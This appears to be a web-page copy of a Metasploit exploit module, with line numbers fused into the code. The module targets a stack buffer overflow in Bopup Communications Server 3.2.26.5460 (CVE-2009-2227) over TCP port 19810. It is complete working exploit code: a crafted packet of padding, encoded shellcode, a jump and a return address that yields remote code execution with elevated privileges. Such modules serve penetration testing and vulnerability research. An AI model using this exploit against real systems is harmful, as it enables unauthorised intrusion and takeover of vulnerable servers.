Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/misc/bopup_comm.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GoodRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'Bopup Communications Server Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.15By sending a specially crafted packet, an attacker may be16able to execute arbitrary code.17},18'Author' => [ 'MC' ],19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2009-2227' ],23[ 'OSVDB', '55275' ],24[ 'URL', 'http://www.blabsoft.com/products/server' ],25[ 'EDB', '9002' ]26],27'DefaultOptions' =>28{29'EXITFUNC' => 'thread',30},31'Payload' =>32{33'Space' => 417,34'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",35'StackAdjustment' => -3500,36'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",37},38'Platform' => 'win',39'Targets' =>40[41[ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],42],43'Privileged' => true,44'DefaultTarget' => 0,45'DisclosureDate' => '2009-06-18'))4647register_options(48[49Opt::RPORT(19810)50])51end5253def exploit54connect5556sploit = [0x00000001].pack('V')57sploit << rand_text_alpha_upper(829 - payload.encoded.length)58sploit << payload.encoded59sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string60sploit << rand_text_alpha_upper(27)61sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)62sploit << [target.ret].pack('V')6364print_status("Trying target #{target.name}...")65sock.put(sploit)6667handler68disconnect69end70end717273